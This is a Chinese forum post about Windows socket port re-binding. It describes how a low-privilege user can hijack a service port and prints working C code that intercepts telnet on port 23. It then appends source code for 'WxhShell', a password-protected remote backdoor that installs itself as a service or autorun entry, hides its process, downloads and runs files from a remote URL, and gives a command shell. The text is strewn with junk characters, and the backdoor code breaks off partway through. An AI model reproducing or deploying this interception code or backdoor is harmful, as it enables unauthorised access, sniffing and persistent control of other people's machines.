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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MhDPf]` Gg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N2uTWT>  
zq Cr'$  
  saddr.sin_family = AF_INET; P0c6?K6 j  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yc7 "tptfF  
INNTp[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bbG!Fg=qQ?  
bMGU9~CeJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6[T)Q^0`  
FT;I|+H*P  
  这意味着什么?意味着可以进行如下的攻击: os[i  
c~)H" n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3gQ2wP*K  
_m@+d>f_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ALi3JU  
Iy;bzHXs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |'QgL0?  
DR<=C`<4(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,<O|#`?"@G  
CyKupJ.Fq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z{ (c-7*  
0RF<:9@x2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fO{'$?K  
s*tzU.E (  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fq(3uE]nC  
g0 k{b  
  #include rd ]dD G  
  #include 2#_ i_j  
  #include 7Um3m yXU  
  #include    g{e@I;F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HV[*=Qi  
  int main() czcsXBl[  
  { ;~"#aL50fe  
  WORD wVersionRequested; rPx:o}&<  
  DWORD ret; oTb4T=  
  WSADATA wsaData; f-5}`)`.+  
  BOOL val; yv(\5)XF  
  SOCKADDR_IN saddr; '/GZ/$a_l  
  SOCKADDR_IN scaddr; 0 czEA  
  int err; BDcA_= ^R&  
  SOCKET s; +i(;@% kv  
  SOCKET sc; +kM*BCPYE  
  int caddsize; OE(!^"5?[  
  HANDLE mt; ."h>I @MH  
  DWORD tid;   `{+aJ0<S  
  wVersionRequested = MAKEWORD( 2, 2 ); >U6 2vX"  
  err = WSAStartup( wVersionRequested, &wsaData ); qlg?'l$03)  
  if ( err != 0 ) { I,7n-G_'  
  printf("error!WSAStartup failed!\n"); oLc  
  return -1; v"V?  
  } p K hV<MFB  
  saddr.sin_family = AF_INET; 9;L50q>s  
   ~PA6e+gmL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *3h!&.zm  
.]LP327u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wh#x`Nc  
  saddr.sin_port = htons(23); ,K8(D<{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) te b/  
  { F2C v,&'  
  printf("error!socket failed!\n"); qVr?st  
  return -1; 5@`DS-7h  
  } v0W/7?D  
  val = TRUE; ^cI 0 d,3=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y/`*t(/5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B'-L-]\H  
  { b\^9::oY  
  printf("error!setsockopt failed!\n"); i3<ZFR  
  return -1; m:C|R-IL  
  } vx4Jk]h+=L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :M\3.7q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I7HP~v~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :eL ja*  
+*Pj,+;W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?T7ndXX  
  { 822jZ sb  
  ret=GetLastError(); *K=Yrisz  
  printf("error!bind failed!\n"); S)z5=N(Xz  
  return -1; g6(u6%MD  
  } zf?U q  
  listen(s,2); a{! 8T  
  while(1) 1'YksuYx6f  
  { f4lC*nCN  
  caddsize = sizeof(scaddr); (db4.G+0  
  //接受连接请求 7gP8K`w?[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t(\P8J  
  if(sc!=INVALID_SOCKET) ~,O}wT6q  
  { t'DYT"3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rRd8W}B  
  if(mt==NULL) "Rq)%o$Z  
  { {U7A&e0eW  
  printf("Thread Creat Failed!\n"); mqKr+  
  break; ZfSAXr "(  
  } z|WDqB%/I  
  } 5 $:  q  
  CloseHandle(mt); Z >F5rkJ  
  } IWP[?U=  
  closesocket(s); =J827c{.  
  WSACleanup(); D",~?  
  return 0; &46 Ro|XE`  
  }   PtT$#>hx]  
  DWORD WINAPI ClientThread(LPVOID lpParam) )d"s6i  
  { ` EgO&;1D)  
  SOCKET ss = (SOCKET)lpParam; `ILO]+`5  
  SOCKET sc; +i6XCN1=  
  unsigned char buf[4096]; &dvL`  
  SOCKADDR_IN saddr; K0z@gWGE  
  long num; mFeoeI,Jv  
  DWORD val; U(u$5  
  DWORD ret; V0a)9\x(\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _%6Vcy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d ~3G EK  
  saddr.sin_family = AF_INET; N Uq'96 {Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XdGA8%^cY  
  saddr.sin_port = htons(23); DgRA\[c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G8Sx;Xi  
  { h0n,WU/Kw  
  printf("error!socket failed!\n"); )Qixde>]p  
  return -1; [;8vO=Z  
  } @Yy']!Ju  
  val = 100; TP?HxO_C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N cnL-k.  
  { mZb[Fi  
  ret = GetLastError(); d}_%xkC  
  return -1; nk-V{']  
  } [SA$d`B/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c&u~M=EW  
  { J<=k [Q  
  ret = GetLastError(); e+7x &-+  
  return -1; oar`xH$C  
  } X/-u$c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q2HULz{  
  { U8s&5~IPn  
  printf("error!socket connect failed!\n"); bsgrg  
  closesocket(sc);  p@bcf5'  
  closesocket(ss); i0e aBG]I  
  return -1; T!pjv8y@R  
  } q'4qSu  
  while(1) &a];"2  
  { u@eKh3!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {5N!udLDr5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SM@RELA'Lb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L !V6 Rfy  
  num = recv(ss,buf,4096,0); GPVqt"TY  
  if(num>0) PTFe>~vr*  
  send(sc,buf,num,0); M~#% [?iU  
  else if(num==0) 7n*[r*$  
  break; of>"qrdZ  
  num = recv(sc,buf,4096,0); RmcQGQ  
  if(num>0) ';OZP2  
  send(ss,buf,num,0); a>/cVu'kz  
  else if(num==0) GUqhm$6a  
  break; DV">9{"5']  
  } a0=5G>G9c  
  closesocket(ss); 5Sfz0  
  closesocket(sc); KD)+& 69  
  return 0 ; cp\A xWtUZ  
  } |jwN8@  
p.J+~s4G  
<4QOjW  
==========================================================  T%p/(  
)i{B:w\ ^  
下边附上一个代码,,WXhSHELL 35X4] t  
>7^i>si  
========================================================== [r"`r Bw  
~Q/G_^U:  
#include "stdafx.h" tW#=St0<.o  
KW5u.phv  
#include <stdio.h> L4C_qb k;:  
#include <string.h> :w5p#+/,P  
#include <windows.h> e-.s63hm  
#include <winsock2.h> "G,$Sqi@  
#include <winsvc.h> }xE}I<M  
#include <urlmon.h> =9@t6   
7)y9% -}  
#pragma comment (lib, "Ws2_32.lib") D%=FCmL5@=  
#pragma comment (lib, "urlmon.lib") g<"k\qs7  
e$+/;MRq  
#define MAX_USER   100 // 最大客户端连接数 qqR8E&Y{  
#define BUF_SOCK   200 // sock buffer l{b*YUsz>  
#define KEY_BUFF   255 // 输入 buffer BvA09lK  
XK7$Xbd  
#define REBOOT     0   // 重启 j/+e5.EX/  
#define SHUTDOWN   1   // 关机 jaq`A'o5  
W nLMa|e  
#define DEF_PORT   5000 // 监听端口 [~_()i=Y  
$pO gFA1'  
#define REG_LEN     16   // 注册表键长度 +bv-!rf  
#define SVC_LEN     80   // NT服务名长度 Ar:ezA  
2UGnRZ8:1Y  
// 从dll定义API -g;cg7O#(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KqH_?r`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /5Zt4&r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4`Z8EV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |-SImxV  
-Bl !s^-'  
// wxhshell配置信息 *U69rbYI  
struct WSCFG { vQiKpO*  
  int ws_port;         // 监听端口 = g[Cs*  
  char ws_passstr[REG_LEN]; // 口令 bEz1@"~ p  
  int ws_autoins;       // 安装标记, 1=yes 0=no %]15=7#'y  
  char ws_regname[REG_LEN]; // 注册表键名 <.lT.>'?  
  char ws_svcname[REG_LEN]; // 服务名 !=w&=O0(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *tD`X( K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (T]<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LAT%k2%Wx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3?rYt:Uf!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8w|-7$ v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8^FAeV#  
F3L'f2yBG  
}; #& 5}  
u{_jweZ  
// default Wxhshell configuration ueM[&:g&MU  
struct WSCFG wscfg={DEF_PORT, DfJHH)Ry}  
    "xuhuanlingzhe", O5:2B\B  
    1, 2UF ,W]  
    "Wxhshell", }j. [h;C6  
    "Wxhshell", 6HyndB^  
            "WxhShell Service", ">pt, QV  
    "Wrsky Windows CmdShell Service", '"/Yk=EmlU  
    "Please Input Your Password: ", XW*,Lo5>H\  
  1, @\|W#,~  
  "http://www.wrsky.com/wxhshell.exe", =vaC?d3   
  "Wxhshell.exe" z :_o3W.E  
    }; =/b WS,=  
g;Lk 'Ky6  
// 消息定义模块 j$z<wR7j0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '.mHx#?7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0;bi*2U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1sT%g}w@|  
char *msg_ws_ext="\n\rExit."; | <q9Ee  
char *msg_ws_end="\n\rQuit."; gPu0j4&-  
char *msg_ws_boot="\n\rReboot..."; JXBTd=r_oM  
char *msg_ws_poff="\n\rShutdown..."; #cRw0bn:  
char *msg_ws_down="\n\rSave to "; 7oK7f=*Q  
:+m8~n$/  
char *msg_ws_err="\n\rErr!"; B?G!~lQ)o  
char *msg_ws_ok="\n\rOK!"; \z4I'"MC.9  
@@O=a  
char ExeFile[MAX_PATH]; {B_pjs  
int nUser = 0; fuQb h  
HANDLE handles[MAX_USER]; _ `RCY^t  
int OsIsNt; 4R~f   
*<[Nvk^  
SERVICE_STATUS       serviceStatus; >O:31Uk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y[W<vb+F  
\ M_}V[1+  
// 函数声明 F;Lg w^1!  
int Install(void); 4KkjBPV  
int Uninstall(void); H*Tc.Ie  
int DownloadFile(char *sURL, SOCKET wsh); [9:'v@Ph  
int Boot(int flag); JF vVRGWB  
void HideProc(void); Q--VZqn  
int GetOsVer(void); #00k7y>OyD  
int Wxhshell(SOCKET wsl); hpqM fz1  
void TalkWithClient(void *cs); Y}/e" mp  
int CmdShell(SOCKET sock); `a!:-.:v  
int StartFromService(void); -666|pA  
int StartWxhshell(LPSTR lpCmdLine); ]ZB^Hi_  
(|F} B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c)HHc0KD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9b/7~w.  
J*lKXFq7  
// 数据结构和表定义 l|O)B #  
SERVICE_TABLE_ENTRY DispatchTable[] = |Mm9QF;iA  
{ H</Mh*Fl2G  
{wscfg.ws_svcname, NTServiceMain}, 99\;jz7  
{NULL, NULL} ^zMME*G  
}; A@W/  
/ox9m7Fz7  
// 自我安装 Oh\ +cvbG  
int Install(void) :a 5#yh  
{ G9/5KW}-  
  char svExeFile[MAX_PATH]; /-.i=o]b  
  HKEY key; &@c?5Ie5  
  strcpy(svExeFile,ExeFile); vtv^l 3  
KVvzVQ1  
// 如果是win9x系统,修改注册表设为自启动 h27awO Q  
if(!OsIsNt) { F%8W*Y699  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TH`zp]0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ 2WG6y;  
  RegCloseKey(key); z g@,s"`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ls<.&3X2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I-fjqo3  
  RegCloseKey(key); RW!_Zz Z  
  return 0; #9{9T"ed  
    } 9'qU4I  
  } Y SvZ7G(m>  
} '%u7XuU-]  
else { [Ipg",Su;f  
r@2{>j8  
// 如果是NT以上系统,安装为系统服务 LxM.z1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }SdI _sLe  
if (schSCManager!=0) g"60{  
{ |HjoaN)  
  SC_HANDLE schService = CreateService `ehZ(H}  
  ( -7^A_!.  
  schSCManager, :%!}%fkxH  
  wscfg.ws_svcname, wX0m8" g@  
  wscfg.ws_svcdisp, 5&y;r  
  SERVICE_ALL_ACCESS, \,w*K'B_Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U%Kv}s/(F{  
  SERVICE_AUTO_START, 5kK:1hH7  
  SERVICE_ERROR_NORMAL, 3H_mR j9th  
  svExeFile, LEq"g7YH  
  NULL, acSm+t  
  NULL, /-#1ys#F=  
  NULL, Lv`*+;1 K  
  NULL, !s>AVV$;0  
  NULL 0g-bApxz*&  
  ); 6N{V cfq  
  if (schService!=0) 9(9+h]h+3  
  { X}Ey6*D:  
  CloseServiceHandle(schService); $a.!X8sHB.  
  CloseServiceHandle(schSCManager); Zy}Qc")Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +>em !~3  
  strcat(svExeFile,wscfg.ws_svcname); cB;:}Q08#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o]&w"3vOP0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BZ]6W/0  
  RegCloseKey(key); '`-W!g[ >  
  return 0; YWV"I|Z  
    } P9Gjsu #  
  } &B^zu+J  
  CloseServiceHandle(schSCManager); yqy5i{Y  
} )yV|vn  
} 19Cs 3B\4  
(RDY-~#~  
return 1; B8jSdlvz  
} N=>6PLie  
n21Pfig  
// 自我卸载 s`j QX\{  
int Uninstall(void) 4(VVEe  
{ ho1Mo  
  HKEY key; vhw"Nl  
Z~g I)  
if(!OsIsNt) { o -< 5<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 02Ftn&bi  
  RegDeleteValue(key,wscfg.ws_regname); m=^`u:=  
  RegCloseKey(key); j>2Jw'l;?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jWn!96NhlL  
  RegDeleteValue(key,wscfg.ws_regname); SIJ:[=5!7  
  RegCloseKey(key); IL:d`Kbqf  
  return 0; &GF|Rr8NXs  
  } bIFKP  
} jV(\]g"/=  
} >&@hm4  
else { `1cGb*b/  
p2c4 <f-M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QT1(= wK3  
if (schSCManager!=0) } {! #` 's  
{ 1v)X]nW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !]%M  
  if (schService!=0) tSST.o3  
  { C~do*rnM^  
  if(DeleteService(schService)!=0) { p!+7F\  
  CloseServiceHandle(schService); S?X2MX  
  CloseServiceHandle(schSCManager); dQoZh E  
  return 0; zW`Zmt\T2  
  } -=W"  
  CloseServiceHandle(schService); dXkgWLI~  
  } +N161vo7  
  CloseServiceHandle(schSCManager); ?[$=5?  
} BrW1:2w >\  
} ;2o+|U@  
pK)*{fC$`  
return 1; p^2"g~  
} i\P?Y(-{  
- nWs@\  
// 从指定url下载文件 :NB,Dz+i  
int DownloadFile(char *sURL, SOCKET wsh) }E01B_T9z  
{ XA cpLj]  
  HRESULT hr; ep"YGx  
char seps[]= "/"; 64Ot`=A"  
char *token; lpW|GFG  
char *file; /UJ@e  
char myURL[MAX_PATH]; 87/!u]q  
char myFILE[MAX_PATH]; 9n$0OH /q  
'64&'.{#>r  
strcpy(myURL,sURL); >28.^\?H4  
  token=strtok(myURL,seps); 4$~]t:n  
  while(token!=NULL) RwH<JaL:  
  { |{#=#3X  
    file=token; M7Pvc%\)  
  token=strtok(NULL,seps); VZOf|o  
  } R3MbTg  
QN%w\ JXS  
GetCurrentDirectory(MAX_PATH,myFILE); *wNX<R.  
strcat(myFILE, "\\"); n-h2SQl!  
strcat(myFILE, file); Nhh2P4gH  
  send(wsh,myFILE,strlen(myFILE),0); 5:jbd:o  
send(wsh,"...",3,0); P);: t~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5rAI[r 9  
  if(hr==S_OK) m oQ><>/  
return 0; ZE#f{qF(  
else j@1rVOmK  
return 1; E,Q>jH  
GCxtWFXH  
} o<`)cb }  
Vb|;@*=R&Q  
// 系统电源模块 ~Rzn =>a  
int Boot(int flag) *>Z|!{bI  
{ :n3)vK   
  HANDLE hToken; 8S&Kf>D  
  TOKEN_PRIVILEGES tkp; q!iMc  
L  lP  
  if(OsIsNt) { Qm| Q0u   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '4PAH2&n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,&S ^Ryc  
    tkp.PrivilegeCount = 1; U @Il:\I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;4jRsirx9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mr}]P(4h  
if(flag==REBOOT) { )"  H$1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^*7~ Wxk5  
  return 0; Nw'3gJ:  
} j@0/\:1(U  
else { \NYtxGV[Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c#q OK  
  return 0; |aiP7C  
} %IS'R`;3  
  } ALw5M'6q0\  
  else { ={9G.%W  
if(flag==REBOOT) { [\o+I:,}wi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1v TncU!  
  return 0; WZk\mSNV  
} q% Eze  
else { |Rr^K5hmD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &a?&G'?  
  return 0; &"dT/5}6  
} KKm0@Y   
} CroI,=a&,  
gf]biE"k  
return 1; ({3hX"C@Q  
} "7R"(.~>  
5YJn<XEc  
// win9x进程隐藏模块 L[zg2y  
void HideProc(void) eSZS`(#!(  
{ B;'Dh<J1  
cH>rS\|Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :uZfdu  
  if ( hKernel != NULL ) ^7`"wj14  
  { 2e}${NZN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wj>mk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V:h-K`~ /  
    FreeLibrary(hKernel); 6KiI3%y?0  
  } t&UPU&tY  
L&1VPli  
return; (~/VP3.S  
} NiU}A$U  
_S:6;_bz  
// 获取操作系统版本 gWp\?La  
int GetOsVer(void) hWK}] gF  
{ W G2 E3y  
  OSVERSIONINFO winfo; JZp*"UzQr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Q"o\:IoIT  
  GetVersionEx(&winfo); _8C0z=hz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iw<#V&([ J  
  return 1; ZF :e6em  
  else Dm/# \y3  
  return 0; hd~X c  
} .gNWDk0$Y  
3 $;6pY  
// 客户端句柄模块 )SZt If  
int Wxhshell(SOCKET wsl) o+W5xHe^1  
{ ]=p@1  
  SOCKET wsh; 'iO?M'0gE#  
  struct sockaddr_in client; >9c$2d|>  
  DWORD myID; kLVf}J~?  
I]P'wav~O  
  while(nUser<MAX_USER) u-Pa:wm0-  
{ >{i/LC^S  
  int nSize=sizeof(client); xwa5dtcng  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ua1ov7w$]  
  if(wsh==INVALID_SOCKET) return 1; BP2-LG&\  
<va3Ly)c&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I0 a,mO;m  
if(handles[nUser]==0) v8"plx=3  
  closesocket(wsh); \P]w^  
else &^e%gU8!\  
  nUser++; (OT /o&cQ  
  } FjIS:9^)t5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E4RvVfA0F  
/5 Wy) -  
  return 0; x[7jm"Pz  
} cZKK\hf<  
brJ _q0@  
// 关闭 socket LtKiJ.j?A  
void CloseIt(SOCKET wsh) Dt)\q^bH)  
{ }fnp}L  
closesocket(wsh); 7''l\3mIn  
nUser--; XnrOC|P$  
ExitThread(0); YQOdwc LG  
} Z^,C><Yt  
KE:PRX  
// 客户端请求句柄 w#eD5y~'oo  
void TalkWithClient(void *cs) WyVFh AuU  
{ 5Z}]d@  
/ <WB%O  
  SOCKET wsh=(SOCKET)cs; ,wE]:|`qJ  
  char pwd[SVC_LEN]; ^RytBwzKM  
  char cmd[KEY_BUFF]; FR9qW$B  
char chr[1]; VTySKY+  
int i,j; $.kP7!`:,  
#k8bZ?*:  
  while (nUser < MAX_USER) { :#58m0YLA:  
C{!L +]/  
if(wscfg.ws_passstr) { IRNL(9H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wEENN_w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o9G%KO&;D,  
  //ZeroMemory(pwd,KEY_BUFF); L^} Z:I  
      i=0; ~C=I{qzF+  
  while(i<SVC_LEN) { TSqfl/UI  
.MkHB0 2N  
  // 设置超时 M3@Wb@  
  fd_set FdRead; Hrq1{3~  
  struct timeval TimeOut; *JE%bQ2Q  
  FD_ZERO(&FdRead); Twyx(~'&R  
  FD_SET(wsh,&FdRead); R/r)l<X@  
  TimeOut.tv_sec=8; ;hGC.}X  
  TimeOut.tv_usec=0; R;&C6S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); By{zX,6'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A<l8CWv[  
jZeY^T)f"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %eWzr  
  pwd=chr[0]; ia 1Sf3  
  if(chr[0]==0xd || chr[0]==0xa) { lY/{X]T.(  
  pwd=0; 0xrr9X<  
  break; QQUeY2}  
  } \O5`R-  
  i++; :8aa#bA  
    } M*FUtu  
t!RR5!  
  // 如果是非法用户,关闭 socket exw~SvT3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @5N^^B  
} Bz<T{f  
qd#?8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k `JP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WZO8|hY  
&<6E*qM  
while(1) { DhY.5  
^Gt&c_gH  
  ZeroMemory(cmd,KEY_BUFF); x8k7y:  
i^Vb42%y  
      // 自动支持客户端 telnet标准   6yk=4l\  
  j=0; P8!ON=  
  while(j<KEY_BUFF) { -V0_%Smc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \J[m4tw^  
  cmd[j]=chr[0]; _+PiaJ&'  
  if(chr[0]==0xa || chr[0]==0xd) { 6" fYSn>  
  cmd[j]=0; /ivcqVu]  
  break; _R&mN\ey5  
  } G2 A#&86J{  
  j++; _DsA<SJ]  
    } YoyJnl.?u  
m;-FP 2~  
  // 下载文件 h}-}!v  
  if(strstr(cmd,"http://")) { 873$EiyXR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <knf^D<"  
  if(DownloadFile(cmd,wsh)) 68Po`_/s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &_Kb;UVRj  
  else j6v|D>I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -!MrG68  
  } FjRt'  
  else { /(IV+  
8G$ %DZ $  
    switch(cmd[0]) {  m(CW3:|  
  < kyT{[e+6  
  // 帮助 Zjqa n  
  case '?': { )!6JSMS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &*2\1;1tB  
    break; D.d(D:  
  } ZrY #B8  
  // 安装 p}q27<O*/  
  case 'i': { D![42H+-Qd  
    if(Install()) !5,>[^y3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |^fubQs;2  
    else <xM$^r)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DfYOGs]@  
    break; 3ARvSz@5  
    } Gk_%WY*  
  // 卸载 Z] ?Tx2|7  
  case 'r': { m$<LO%<~p  
    if(Uninstall()) HYVSi3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MKVz'-`u  
    else t Gt/=~n9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iMG)zPj  
    break; X&C&DTB  
    } j("$qp v  
  // 显示 wxhshell 所在路径 \H(r }D$u<  
  case 'p': { _vOV(#q2a  
    char svExeFile[MAX_PATH]; ,n\"zYf ]^  
    strcpy(svExeFile,"\n\r"); _Z~cJIEU  
      strcat(svExeFile,ExeFile); =KQQS6  
        send(wsh,svExeFile,strlen(svExeFile),0); & Tz@lvOv%  
    break; vBy t_X  
    } =&+]>g{T  
  // 重启 337y,;  
  case 'b': { eC%uu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =5:L#` .  
    if(Boot(REBOOT)) z4t.- 9(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \s_lB~"P!3  
    else { rJLn=|uR  
    closesocket(wsh); 3V=(P.ATm  
    ExitThread(0); J|*Z*m  
    } -s~6FrKy  
    break; y?=W  
    } $ti*I;)h4  
  // 关机 U'(Exr[  
